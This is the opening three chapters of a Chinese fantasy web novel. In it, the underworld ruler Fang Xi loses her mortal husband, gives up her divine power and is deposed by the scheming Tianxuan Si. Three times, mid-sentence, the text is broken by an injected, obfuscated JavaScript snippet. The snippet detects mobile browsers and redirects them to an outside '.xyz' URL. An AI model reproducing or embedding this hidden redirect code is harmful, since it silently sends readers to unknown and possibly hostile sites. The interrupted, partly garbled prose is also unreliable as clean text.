《与宿敌重返八百年前》 1. 第 1 章 伪神祸乱千年,龙女临世屠戮伪神,以身殉道,方才换得三千界海晏河清。 自此,幽冥界再无宁日,伪神及其后裔被封印在此,其三魂七魄被钉死在奈河,沦落为幽冥界最卑贱的鬼种,永世不得超生。 一株冥灵木顺应天命化作人形,闻天语赐封其为九幽冥主,坐镇幽冥殿,执掌黄泉渡口。 “大人,这些凡人该如何处置?” 提灯小鬼的尖叫声将神游的方溪拽了回了回来,她揉了揉眉心骨,瞧着奈河河畔两侧乌泱泱的人群。 哭嚎,咒骂,哀怨…… 大的小的,老的少的,无论身份贵贱都是些灵力稀薄的凡人,更有甚者残肢断腿。 方溪只觉额角隐隐作痛,翻查罪业账本的手指焦躁地敲着桌面。 “天玄司这回又是把什么人丢我这来了?奈河河底都快没地了,戚彧还能搜刮出伪神后裔?整整一百零四年,他有完没完?” 天玄司本该作为记载千秋万代的活史书,如今却被一群居心叵测的妖道执掌,凌驾于众生之上,其心可诛。 天玄司掌司使戚彧更是道貌岸然、奸诈险恶之辈,党同伐异,天玄与幽冥本该相互配合,如今天玄司都踩着幽冥登天梯了。 提灯小鬼无奈道:“那肯定是没完,天玄司这次连杀人缘由都不给我们。” 方溪颔首阖上眼眸,稳住呼吸,尽量让自己不失控。 她的手放在脖颈上,手指摩挲着若隐若现的青筋,隔着皮囊感受着微弱的脉搏。 若不是她离开幽冥,灵力就会受天命限制,天玄司能踩在幽冥殿的头上? 没关系,她还能忍,待百年后她突破天命枷锁,上去第一件事就是找戚彧算账。 “召集鬼众清点这些人的罪业,该怎么轮回就怎么轮回,凡人不受天罚。” 方溪话还没说完,提灯小鬼又道:“大人,您又忘了,天玄司又又又把往生镜毁砸了,还要等四十九日往生镜才能恢复如初。” 三魂七魄凡下九幽,八十一日不见天日,三魂散七魄灭,往生只会是痴儿。 天玄司把往生镜砸了又砸无非就是想借刀杀人。 方溪无法离开幽冥,恰好背了这口黑锅,届时清算,天雷定是只逮着她劈,伤不了戚彧半分。 方溪起身拍桌,愠色跃然在眉梢:“我才上任多少年,替他背多少黑锅?不带这么欺负人的。” “不干了,我今日不干了,散了都散了。” 提灯小鬼呜咽一声退下,驱逐着人群四散开来,黄泉渡口霎时空无一人。 方溪临时搭的案桌也被推入了奈河之中化作孤舟飘向深渊。 天边升起巨大的月轮,寂静的黑夜蒙上一层若有若无的白纱。 开满荼靡花弱水岸,一座小竹楼矗立在河畔。 楼前有小院,布局讲究,清新雅致,可惜幽冥只能见明月,除了荼靡花长势喜人,其他草木都是枯枝败叶,只能用灵力维持鲜活。 竹楼的主人不在,这小院凄凉得叫人心寒。 凉风吹落院中枯叶,飘摇到了月影之中,待明月倾斜,一只手从黑暗中探了出来,枯叶正卧这人掌心里。 定睛一看此人掌心的细纹交错杂乱,指骨修长匀称,手指弯曲时线条流畅有力,稍微一碰,那片枯叶就被碾碎成齑粉消散在空中,化作一道模糊的幻影。 “掌司使,如今时机成熟,您为何还不下命令攻陷幽冥殿?” 那幻影言语中带着几分不悦,只听被称作“掌司使”的男人嗤一声嗤笑:“幽冥殿早已是囊中之物,何必急于一时?” “属下是怕再等下去,突生变故,若是因此惊醒闻天语,后果不堪设想。” “龙女已逝,闻天语也活不久,一个将死之人有何可惧。” “可是……依照星石排盘,九幽冥主将在下个满月彻底掌控梦魇之力,其神力比肩闻天语。若不能顺利夺权,我们只有先下手为强杀了她。掌司使,天玄司不能再等了。” 那人从黑暗中走了出来,温润的月光描摹着他的面容,再柔和的月光也驱散不他眉眼间的戾气。 好在他黑瞳中神采异常平和,减弱了几分戾气。其眼下有层淡淡的黑影,似有倦意。鼻梁直挺,面颊清瘦且轮廓流畅,唇纹深且薄,色泽寡淡。 他身高八尺有余,一身月白襕衫,头冠儒巾,瞧着年纪轻轻,言行举止却是不像个文弱书生。 “此事我自有打算,无需再议。” 男人语调中透着不耐烦,他眉眼间的戾气越发浓重。 幻影见状俯首听令,不敢再发一言。 男人一挥衣袖,幻影如烟散开,随后他收起那副阴狠的模样,慢悠悠地拾起身旁缸里的瓜瓢,揽袖舀水浇灌院里的每一株枯萎的草木。 一举一动,尽显风雅。 当男人浇完最后一株枯树,皲裂的树皮里冒出了小芽,他眼尾上扬,眉眼舒展开来。 他的妻子方溪终于想起来还有他们这个家了。 方溪在弱水河畔边停驻许久,她跪坐在冰冷的玄石上,低头瞧着水中的自己。 整张脸只有头发、眉毛、眼睛有颜色,宛如一个上色上一半被匠人抛弃的半成品人偶。 纵使五官再怎么好看,一片死白、毫无血色脸只会让人心生反感。更何况她此刻眼中含血泪,一流泪,两窍流血活像讨命的厉鬼。 方溪捧起水洗净面颊,额发湿润紧紧贴着她的脸颊,混着血丝的水珠从她的下颌滴落,水面激起层层涟漪。 玄石浸泡在水中,血丝如红线将其紧紧缠绕,眨眼之间玄石上爬满了青苔。 岸边的荼靡花在月光下白得晃眼,方溪身上的衣裳也从幽冥官袍化作了半臂齐腰襦裙。 平日若是不上值,方溪最喜欢穿鲜亮明艳的颜色,这样能衬得她气色好一些。 方溪收拾好心情,她勉强挤出一个笑挂在脸上。一想到家中还有人在等她,便把天玄司找茬的事抛之脑后。 她才踏进小竹楼的结界,那些枯枝败叶久旱逢甘霖般的疯长,不到一盏茶的功夫小院绿意盎然。 与她朝朝暮暮三年的那个人立在花树下,长身玉立,看向她的眼眸中含着笑。方溪疾步走向他,往前一扑,扑到了许成砚的怀里。 “许成砚。” 鼻腔中充盈着他清新带有暖意的味道,彼此依偎,感受那温热宽阔的胸膛下真实的心跳。 她已经三日没见他了,想念他的气味,想念他的声音,想念他这么一个人。 许成砚抚摸着方溪的长发,似乎是在抚慰她受伤的心,方溪微微仰头去蹭了蹭,许成砚顺势揉了揉她的脑袋。 许成砚手滑落到她的肩背,手掌顺着脊梁而下握住她的腰:“你离家三日,也没个音讯,我还以为你不想家。” 方溪踮起脚尖勾住他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406165|184475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖颈撒娇:“我当然想,我做梦都想。” 四年方溪从魇兽口中救下了许成砚,方溪从见许成砚第一眼起就觉得他们将来会有一段缘分。 方溪在幽冥待太久,看谁都觉得眉清目秀,但许成砚好看得有些过分了,好到方溪不得不多看了几眼,洗洗这一百年来被歪瓜裂枣荼毒的眼睛。 许成砚不仅长得好看,声音也好听,不谄媚,不冷漠,给人一种很舒服的感觉。哪怕是不交谈听他唠家常也是一种享受。 许成砚总喜欢跟她说笑,但方溪并不觉得冒犯,反倒因为他注意到自己,心里像是被羽毛挠了一下。 方溪承认她动了见不得人的心思,许成砚也不是傻子,毕竟谁能忽视得了不加掩饰爱慕。 正好许成砚有求于她,正好她过够了一成不变的日子。 那时的方溪已经守护了幽冥一百年,常与鬼族魇兽做伴,少言寡语,重重复复的过着每一天,活得像个提线木偶。 自打许成砚来到她身边,每天陪她吃饭说话,还会给她讲他的过去,讲那令人向往的人间烟火。渐渐地,方溪也从提线木偶变成了一个会哭会笑会开心会难过的人。 她开始对未来有了期待,对人间有了不该有的向往,且愿意效仿人间。于是她与许成砚在一个月圆之夜成了亲。 三年过去了,方溪依旧每天都盼着早点下值回家。 “方溪?”许成砚轻声呼唤她的名字,方溪这些日子总是喜欢走神,也不知道是怎么了。 方溪勾下他的脖颈,许成砚也配合她低下头,方溪在他唇角快速地啄了一下,然后松开他,往后让了一步,偏过头去不看他。 方溪有点不好意思,她纤细的手指揉搓了一下耳垂。 堂堂九幽冥主跟个情窦初开的小姑娘似的腻着爱人,方溪后知后觉自己有点没出息,抿了下唇想着找补的话,试图挽尊。 许成砚被她这举动逗笑了,伸手又把人拽过来按在怀里,戳穿她:“家里是家里,外面是外面,这里又没提灯小鬼看见。” 他说着说着哼哼一下,捏了把她的脸颊,佯装好心:“哎呀,怎么办呢?我家娘子害羞了呢。好吧好吧,刚刚是为夫先勾引你的,是我的错我的错。” 方溪在他怀中把脸埋得更深了:“我才没有。” 许成砚拍着她的背,扬起嘴角就没下去过,他眼里流露出的点点温柔,似真似假。 月上枝头,许成砚一如既往准备好饭食。 炒荼靡花,煮荼蘼花,烤荼蘼花。不说好吃不好吃,就是图个一日三餐的形式。毕竟,放眼整个幽冥界只有荼靡花算得上是美味佳肴。 其他的要么不好吃,要么不能吃。 方溪喝了一口荼靡汤,说实话淡得尝不出味来,她注视着许成砚吃完一碟炒荼靡,方溪心里莫名的有点愧疚。 许成砚是个凡人,还在人间时肯定是尝过百味的,如今在幽冥只能吃这些。要不是戚彧那个挨千刀把幽冥与人间的入口切断,只留一个只能进不能出的口子给她,让她无法派小鬼去人间采买。 她也不至于让自己爱人受这般罪。 许成砚突然干咳了起来,方溪急忙去拍他的背给他顺气,许成砚捂着嘴剧烈地咳嗽几下,手放下,摊开一看,血已经顺着指缝流入了袖口。 方溪心头一怔。“许成砚!”她的声音有些颤抖,“刚才还好好的,这怎么就咳血了?” 2. 第 2 章 许成砚抬眸看她,冷汗已经浸湿他的脸颊,整个人犹如失了魂。他伸出干净的那只手覆盖在她手背上,安抚方溪道:“我没事,你扶我到榻上。” 方溪搀扶着他上榻,许成砚身子很沉,沉得让她心惊胆战。 许成砚盘腿调息,方溪坐在他身后给他输送灵力,没过一会儿,许成砚的脸恢复了血色。 “三年了,我的这具身体恐怕已经到了极限。方溪,以后我恐怕……” “不会的,有我在,我不会让你死。” 方溪从他身后楼住他的腰。 许成砚将手放在她的手上:“你教给我的长生之道,我始终参悟不透,可能这就是命吧。我天资有限,长生妙法玄之又玄,终归不是我这样的凡夫俗子能够得到的。” 方溪楼得他更紧了,她的心也跟着他拧在一起:“你是我见过最有天分的人族,长生道本就看天命,学不成不怪你,我可以教你其他法门,一定会有办法延长你的命数的。” 生死薄早易被闻天语摧毁,她虽为冥主却只能送人往生,而不能改人的命数。只得另辟蹊径用自己灵力维持他的生命,教他如何修炼去向天道争命数。 长生道谁人不知,但能真正获得长生又有几人。方溪原以为只要有自己助力,许成砚修长生会比他人更加顺利。 与天争命,也得命里有才行。 许成砚咳了两声,转过身子面朝方溪,那张俊秀的脸上蒙着一层薄汗,血染红了他的嘴唇,唇纹清晰可见。 方溪探身用帕子给他擦拭嘴角,她的手托住许成砚的脸,手指传来的冰凉让她心头一酸,她眼中的神采暗了下去,反复呢喃一句话:“我一定会找到办法的。” 生死簿,要是生死簿没被毁就好了。 楼外传来水浪拍打河岸的声响,方溪朝窗外瞟了一眼,外边那条湍急的弱水最终会汇入奈河之中,她依稀记得奈河上曾有一座奈何桥,只是年久失修,破败不堪,不见守桥人。 等等,守桥人,前任九幽冥主姜桑柔。在方溪还未接管黄泉渡口前,姜桑柔在这可当了近千年的冥主,或许姜桑柔知道该其他办法。 方溪安顿好许成砚后,便马不停蹄地赶往问仙台,姜桑柔卸任后便隐居在此地。 问仙台,便是处置罪神罪仙的地方,三个巨型浮石托起斩仙阵,下面则是滚烫的岩浆,而姜桑柔的居所便在岩浆中心的小岛上。 方溪踏着岩浆凝固化作的石莲登上了那座孤岛,一上岸她便嗅到一股焦味,像是有人煮粥熬粥糊了底。 “晚辈方溪特来请见姜前辈,” 只见一位妙龄女子从屋内出来,手里还拿着根柴火棍,她眯着眼打量了方溪一番,眼神渐渐从冷漠到惊喜。 姜桑柔面生欢喜,眼睛发亮,走来捉住她的手同她说话:“瞧瞧这是谁,这不是小方溪吗?是什么风把吹到我这里来了?” “来来来,尝尝我新熬的汤。”姜桑柔也不见外,拉着她进屋坐,顺便给方溪盛了一碗她新熬制的汤,方溪受宠若惊地喝了一口。 姜桑柔期待道:“什么味?” “酸的。”方溪如实回答。 姜桑柔忽而一拍脑门,同她说笑:“瞧我这记性,你是冥灵木不入轮回,再怎么尝味道都是酸。等下次你来,我再好好给你熬一锅汤,保证好喝。” 许是太久没有见到外人,姜桑柔恨不得把话一口气全都说完。她拉着方溪从天南说道地北,方溪只得正襟危坐地连连称叹,说到最后,姜桑柔也累了,喝了口茶水,自嘲了一句:“已经一百多年了,日子过得可真快。奈河桥已毁,无人过桥,我熬再多的汤也无人欣赏。罢了罢了,如今树倒猢狲散,当年我跟错了主子,落得这么个下场也是咎由自取,怨不得谁。” 说完她捏了捏方溪的脸颊,感慨万分。 姜桑柔抬手比划了下:“闻天语来惩戒我的时候,你才那么高,就站在她身边,看起来傻傻的,惹人怜爱极了。” 紧接着道:“没想到,才一百年你都长那么大了。我还担心一个小孩子怎么管得了偌大的幽冥界,现在看来是我想多了,这一百年你做得很好。” 方溪有些心虚地点点头,一番天人交战后,张口道:“前辈,晚辈有一事请教您。” 姜桑柔心领神会:“我知你要问什么,但我得先问问你,那个人到底值不值得你为他冒险?” 方溪当年成亲时,姜桑柔还托了鬼吏送了贺礼。估算着时日,那凡人也该阳寿耗尽,方溪来找姜桑柔无非是为求一个救人的法子。 “当然值得。我想天命不会那么小气,我守着幽冥界一百年,没有功劳也也有苦劳,只是向它求一个凡人的命数,也不是做什么伤天害理的事,大不了被天雷多劈几下。”方溪苦笑道。 姜桑柔欲言又止,几度叹息后才告诉方溪:“梦可以连接三千界,而冥灵木可以嫁接命数,梦魇之力能让你追寻往昔找到命数的劫,并将其化解。你要救的那人,过去的劫,过去的命,你可以借着梦去探寻,一一了结,便能瞒天过海,改变他的命数。” “这是回溯到过去?” “非也。这只是梦,你是唯一一株苏醒的冥灵神木,天生就有改变梦境的梦魇之力。梦可以重现过去,魇可以改变梦,从而改变现世。” 方溪似是想到了什么,眉头紧拧:“可是闻天语的赐福让我无法离开幽冥,我只能感知到梦境的存在,却怎么进不去。” “那就放弃神权。” “放弃神权?”方溪倏地站起身,手指微不可察地蜷缩起来。 姜桑柔牵着她的手拉着她缓缓坐下,拍拍她的手背:“放宽心,你只是离开幽冥一小会儿,没事的。等你从梦里回到现世再收回神权就行,你知道该如何去做。” 方溪摸着自己胸口,血肉之下是一颗永远不会跳动的木心。 冥灵木心只是存放幽冥神权的容器,她只需取出木心放置在寒冰之中,沉入弱水,便能撂下责任。她是木头,取木心再简单不过,甚至不会有任何痛苦。 死一般的沉寂过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406166|184475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,姜桑柔盯着方溪的眼睛。 “你犹豫了。” “我……” “只要权柄不离开幽冥,奈河河底的封印就不会松动,更何况你只是离开几日,就算那群伪神冲破封印,人间不是还有天玄司吗?”姜桑柔的声音飘进方溪的耳朵里,柔和得像春日的风,让人昏昏欲睡。 “说得也是。”方溪只觉得头重脚轻,她眨了眨眼睛,稍微缓和了一些,想着姜桑柔说的话也有几分道理。 如今天地有天玄司与幽冥殿守护,戚彧那厮巴不得抢她的活干,她倒是落得个清闲,偶尔偷个懒也不会有什么事。 姜桑柔伸手在她面前晃了晃:“小方溪。” 方溪打了个哈欠:“怎么了前辈。” 姜桑柔附耳低声道:“你与我所了解的天生灵物不同,你更像是个人而非铁石心肠的草木,既像人,七情六欲必会成为你的劫数。”随后她补充了一句莫名其妙的话,“不要相信任何人。” “多谢姜前辈提醒,我不怕的。”方溪眼皮子沉了下去,一头倒在姜桑柔的怀里。 姜桑柔怀抱住她的肩头,话未尽:“方溪,其实……” “姜大人,莫要忘了你与戚掌司使的交易。”姜桑柔猛地看向门口,一个蓝衣少年正抱着剑依在门上,他颔首吹了吹肩上不小心蹭到的灰尘,语气不善:“谨言慎行,不然你的老相好徐甫可就……啧啧。” 姜桑柔抱紧方溪,睨了那少年一眼,厉声呵斥道:“姬禾,你身为玄司使,非但不劝戚彧悬崖勒马,反倒助纣为虐,如今更是以无辜生灵的命要挟我与你们同流合污。你们对得起天道,对得起闻天语吗?” 姬禾腰间悬挂的天玄令上赫然刻着“离二”两字,天玄司离字阁第二人。姬禾走到她们面前蹲下身,他笑眯眯地看着姜桑柔,那笑让人看得毛骨悚然:“徐甫那畜生可算不上无辜生灵?姜大人,说起助纣为虐,当年的你比起我还要有过之而无不及。” 姬禾讥讽道:“同流合污?我们对不起闻天语,难道你就对得起吗?真正背叛过闻天语的人是谁,需要我帮大人你回忆一下吗?” 姜桑柔脸色微僵,气势弱了三分:“不需要。” 姬禾起身,居高临下道:“那就安分守己,好好在问仙台炼你的仙药,说不定戚掌司使哪日心情好了,给徐甫留个全尸也不一定,你还能哭个新坟。” 姜桑柔垂眸看向怀中人:“方溪该怎么办?” “送回弱水岸,好戏要开唱了,没了主角可不好。” 方溪做了一个梦,不再是灵魂出窍般做一个旁观者,而是真正的成为梦中的自己。 她梦见许成砚拉着她的手,两人一前一后穿梭在荼蘼花丛中,方溪笑靥如花,听着许成砚哼唱着来自人间的歌谣,他的嗓音清澈纯净,像山涧溪流。 温暖的阳光洒在他们身上,光晕模糊了彼此的身影。 要是一辈子都这样就好了。当泪水粘湿衣襟,方溪被人轻声唤醒。 “方溪,醒醒。” 3. 第 3 章 许成砚跪坐在榻上,俯下身将方溪捞到了怀里,他的手捧着方溪的脸颊,拇指擦过她眼角的血泪,在方溪死白的脸上抹了一道红痕。 方溪睡眼惺忪,如往常一样回抱住他,她呢喃道:“我不会让你有事的,你信我。许成砚,你一定会长命百岁。” 许成砚抚摸她肩背的动作凝滞了片刻,他眼底那滩浓墨怎么也化不开,他的呼吸变得无比的沉重。 许成砚那双滚烫的手掌悄然垂下缓缓摩挲着她的背。 方溪没有发现他的异样,靠着他的肩膀自顾自地说着:“只要几日就好。” 只要她入了许成砚的梦,化解他的劫数,一切都会改变。 方溪探查过他的神识,他就是一个普通得不能再普通的凡人,只因得罪天玄司被戚彧丢到下界来。 许成砚未曾提起过他是因何得罪天玄司的,平日中方溪与他谈论起天玄司,他总是脸色凝重,言语中尽是讥讽,对天玄司很是不屑。 天玄司这些年忙着争权夺利,不干正事,一些玄门墨客看不惯天玄司做派,于是写文嘲讽,戚彧便把他们都杀了。 许成砚对戚彧的做派颇有微词,比方溪还要厌恶戚彧。方溪料想许成砚在凡间定是那些人之一。 说不定方溪还能在梦境中跟这位从未见过的同僚过过招,最好是让戚彧也尝尝被压制的滋味,既替许成砚化解劫数,也让方溪能出口恶气。 想到这,方溪心情大好,枕着许成砚的锁骨睡了过去,再次醒来时,她身旁空无一人,来不及细想许成砚去做什么。 方溪便洗漱一番出门,提灯小鬼已然在候在小竹楼外。 见到提灯小鬼,方溪才想起问:“昨夜是姜前辈送我回来的?” 提灯小鬼点点头。 方溪将公事一一交接清楚后打发走了提灯小鬼。她旋即面朝在弱水河畔,施法设下结界,方溪手心忽而出现一颗灵珠。 这是闻天语交给她守护的上古圣物——骊龙珠。 骊龙珠光泽似琥珀,璀璨如星,表面有一层金银流云纹,由内而外散发出一股湿冷的寒气。 唯有至寒至阴的上古圣物才能护住冥灵木心,这东西正好在她手中,岂有不用的道理。方溪双手捧着骊龙珠,一步一步趟入水中,冰寒刺骨地水淹没她的发顶。 骊龙珠在水中的光芒越来越亮,水流化作一根根银线刺入血肉,包裹住里面的木心。 方溪阖上眸子,将骊龙珠放在胸前,驱动灵力用银线将木心取出。 木心离体的那一刻,方溪感到前所未有的空虚,记忆如潮水般翻涌,时光仿佛倒流。 一直回到她与许成砚大婚那日,他们于月下对着娲皇起誓,此生此世永不分离。 她与他对视,眉眼含笑。 银丝缠住木心,化作冰匣子,肉眼可见木心是一个晶莹剔透的花骨朵。 这还是方溪第一次见到自己的心。 方溪伸手去触碰,银丝推搡她的指尖,冰凉的触感让她回神。她抱着冰匣子朝着深渊而下,将自己的心封印在了漆黑冰冷的河底。 她回程的路上,耳边一直回响着姜桑柔那句“值得吗?”方溪扪心自问,为了自己所爱之人当然是值得的,她想要他陪她到天荒地老。 这个代价她付得起,哪怕闻天语苏醒后责问她,她也无怨无悔。 与许成砚相识这几年是她漫长岁月中最开心快乐的时候。 如果没有许成砚,或许她早就弃天职不顾后去造反,带着鬼众攻打天玄司与戚彧刀剑相向。 许成砚的陪伴帮她消磨了时间,消解了她对天玄司的仇怨,让她静下心来去体验世间的美好。 万事俱备只欠东风。她回到了他们的小院,她推开房门,四处呼唤许成砚,无果,她坐在石阶上等了一会儿,还是迟迟不见人影。 方溪不免有些心焦,以往这个时辰,许成砚早就归家了。她千里传音,结果许成砚没回应,方溪顿觉不妙。 急忙找来提灯小鬼询问。 提灯小鬼缩着脑袋,战战兢兢道:“大……大人,千错万错都是小的错,小的忘了许相公的嘱托,没有拦住你。” 这些个鬼吏向来只听从方溪的话,对许成砚的话都是爱听不听。这不,几只提灯小鬼忙着打牌赌博,把许成砚的交代忘了一干二净。 “拦我做甚?他人呢?” “许相公说让我拖着您不让您下弱水,我也不晓得他拦您做什么。不过,姜大人送你回来那日,许相公与姜大人说了什么不能让您为他冒险之类的话。” 提灯小鬼偷瞄了一眼方溪的脸色,深呼口气,继续道:“然后,他就逼问姜大人有什么法子能让您不那么冒险。” 方溪追问:“姜前辈说了什么法子?” “姜大人说,只要许相公能战胜三迷途的魇兽,您就可以安然无恙。” 方溪只觉眼前一黑,踉跄两步,全身的血液瞬间冰凉,手脚发麻,她神识告诉她即将失去她最宝贵的东西。 她几乎是疯了一样御风而行,弱水因她的心绪而翻涌,岸边的荼靡花被浪花打碎,花瓣如纸钱般落满水面。 三迷途在奈河的另一端,奈河无法飞跃,只驱使船只过去。方溪等不及,踩着奈河里千万妖魔的头颅去到了对岸。 方溪打开封锁三年的石门,毅然决然祭出仙剑与里面的魇之灵厮杀。 她一路杀到三迷途,沿途血迹斑斑,尸体横陈,方溪嗅到了许成砚的味道在前方,死亡的气息不断鞭挞着她的神经。 许成砚杀了那么多魇,一直杀到魇兽前,就为了不让她冒险。 方溪几乎是哭着骂出声:“你到底有没有为我想过,你死了我该怎么办。” 可惜,许成砚听不到了。 她从未那么害怕过,越往前,光越弱,魇之灵的攻击越发猛烈。 方溪的臂膀被利爪割破,血腥味萦绕在她鼻尖,她提着剑杀着这些没有意识的同族,它们尖啸着、哭嚎着,好似在嘲笑她的深情。 尸山血海,却不见一个他。 方溪杀出魇之灵重围,精疲力竭地提起剑,拼命疾跑,血沫溢出嘴角,额发在烈风中凌乱,看到那个庞然大物时她焦急地寻找许成砚的身影。 可接下了一幕,彻底将她钉死在原地。 魇兽转身将许成砚最后半张脸咬碎,所有的肢体都被兽群吞咽下肚。 那半张脸上的眼睛失去光泽,他被吞下的最后一刻都在看着她。 刹那间方溪世界变得灰暗。 她疯了,彻底疯了。 魇兽的哀嚎响彻整个幽冥,血水侵染奈河久久不能消散。 她不知道她是如何回的弱水岸,什么都没了,许成砚没了。方溪浑身是血,已经不知是她的血多些还是魇兽的血更多些。 开膛破肚,连个渣都没。 提灯小鬼闻讯而非来,只见自己大人抱着许相公的衣裳,泪流满面地要去往生镜招魂。 往生镜可送人往生亦可招魂。 提灯小鬼跪在地上死命拽着方溪:“大人,万万使不得啊,往生镜尚未复原,此时您若强行启用的话,此后再无复原的可能,您也会招致天罚。您不为自己着想那您也得为苍生着想啊。” “戚彧做得,我凭什么做不得!” 提灯小鬼苦不堪言,那戚掌使向来杀人不见血,从不亲自动手砸往生镜,天雷劈不到他身上。 况且天玄司从来没打算彻底毁了往生镜,都是复原后才砸。往生镜复原期间,安安分分,绝不逾矩。 “您是闻天语钦点的九幽冥主,是继承她闻天语意志的神灵,你若是因私欲而弃苍生不顾,那你就不配为判官、不配担负天命。” 提灯小鬼豁出去,什么大逆不道的话脱口而出,松开方溪,跪地叩首,声声泣血:“您若还是一意孤行,幽冥各族将不再认可您的权柄,届时闻天语苏生,我等鬼众将上书您玩忽职守、以权谋私之罪。” 它们句句诚心,却处处透着反叛的意味。她仿佛不认识这些下属了。 是从什么时候开始的?大抵是从她受天命压制无法与天玄司抗衡开始,他们就开始躁动。 方溪回首看向他,看向他背后跪倒一片的鬼众。她捂着脑袋,四肢百骸刺痛难耐,从骨头溢出的怨恨如附骨之疽,怎么也摆脱不了。 魇兽的血早已浸入骨髓,催化她的恨、她的痛。没有冥灵木木心的净化,方溪无法排解这些混沌的、肮脏的情绪。 当她无法抑制住戾气,她的劫数就来了,灵力在无知无觉中还给了冥灵木心。 她兢兢业业守护幽冥百年,上被天玄司欺压,下被同族威胁。方溪这一百年得到了什么,至亲至爱之人莫名送死。 有一只无形的大手在操控着一切,究竟是谁?她顿时只觉气血上涌,一口黑血吐了出来,方溪怀抱着许成砚衣冠承认了自己的过失,两窍流着血泪,冷静了下来:“是我的罪过,此后不会再犯。” 提灯小鬼抬眼看方溪,只见方溪头也不回,摇摇晃晃地朝着荼靡花丛深处走去。 半晌后,远方传来方溪撕心裂肺地哭嚎。 世人皆道人生有八苦,生老病死、求不得、怨憎会、爱别离、五阴盛。 她将许成砚留下的衣裳埋在了花泥里,指甲缝洇出鲜血:“你到底有没有想过,你死了我该怎么办?你一个凡人去闯三迷途,不就是送死吗。你为何不等我,明明就差一点。” 方溪眼前闪过许成砚温润的眉眼,回忆这几年来的点点滴滴,如梦似幻。 俄顷狂风大作,荼靡花在烈风中飞旋,无数花瓣化作利刃向方溪袭来。 她惊觉躲过身,洁净的脸颊不小心有了一道血痕,方溪仰头看向天际。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406167|184475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天幕彻底被黑暗吞噬,血月顷刻从三迷途升起,占据大半天际。 奈河之上天雷滚滚,河底的鬼种在骚动,千万只鬼手伸出水面,试图逃离鬼众抱头鼠窜,鬼哭狼嚎,奔跑在岸上的鬼众在电闪雷鸣中转瞬即逝,化作白烟。 弱水沸腾,水雾缭绕。 “木心!”方溪空落落的胸腔里发出剧烈的刺痛,她捂着心口,最后看了一眼许成砚的衣冠冢,闭上眼睛接受了斯人已逝,再次睁眼,她祭出仙剑朝着木心封印之处去。 她脑子很混乱,她只取出木心不到一日,事态就超出她预料。 到底是谁?她封印木心的事到底是如何泄露出去的?趁火打劫的究竟是谁? 她想不明白,龙女殉道后四海升平,天玄司与幽冥殿皆继承闻天语意志,各司其职,虽有摩擦但不至于斗个你死我活。这世间还有其他与天玄司、幽冥殿匹敌的势力吗? 一个荒诞到她无法相信的想法油然而生。 天玄司反了。 当方溪赶到封印之处时,弱水之上蓝衣少年印证了她的想法。 她用神识探查,才发觉幽冥结界已破,天玄司那群妖道占据幽冥主要关隘,也不晓得他们之前是用什么法子隔绝她的神识的。 她说不清如今她说愤怒多一些还是悲痛多一些,但她很清楚来者不善。 带头的蓝衣少年手持掌使天玄令,目光越过江河,发号施令: “天玄司离二,持掌使令传闻天语密令,即日起革除方溪九幽冥主之位,撤幽冥殿改为地瞑署,并入天玄总司离字阁。” “方溪擅离职守,掌使念其初犯,免其刑狱,逐出幽冥,以儆效尤。” 方溪提剑质问他:“我前脚刚走,你们后脚就赶来,怕不是早就想好给我安这个罪名?” 姬禾:“聪明。所以方大人你是服还是不服?” “不服。” “那开打吧。” “正有此意。” 姬禾眉心燃起一簇火苗,十指化出离火翎羽,整个人宛如烈焰中的丹鸟向方溪袭来。 “掌使说过,你没了木心,什么都不是。” 离火翎羽从四面八方而来,方溪一剑挑起江水,水花刹那变作有形的风刃,将翎羽切成无数火花。 丹鸟发出嘶鸣,方溪无视离火一剑刺穿他的肩胛骨。火光照亮她的眉眼,惨白的脸色因此有了血色,轮廓渐渐清晰。 姬禾的瞳孔剧烈颤动,之前方溪的眉眼淡得看不出真实样貌,他就没当回事,如今这张脸清晰可见。 不可能,绝对不可能,方溪怎么会长这张脸?怒火几乎要从他眼中迸发,丹鸟奋力用翅膀聚齐火球,结果还没有起火星。 他的翅膀再此被方溪的利剑贯穿。 姬禾低估了方溪的实力,她可不畏惧真火。 冥灵木心从来都不是方溪的力量来源,反而冥灵木心需要方溪的灵力滋养。 方溪将他甩到河畔,她冷冷道:“小孩就不要掺和大人的事。” 话毕,她宛如飞鱼般跃入弱水中,衣带随水飘动,方溪不断下潜,越靠近木心她的灵力就源源不断地往深渊流动,水底的光点越来越大。 越靠近方溪越觉得自己在水中无法呼吸,奇怪,她的身体仿佛长出了五脏六腑,她难受极了,呼吸不了。 一切的感官变得极其敏感,流水仿佛在怀抱着她的每一寸肌肤,将她往下拖拽。 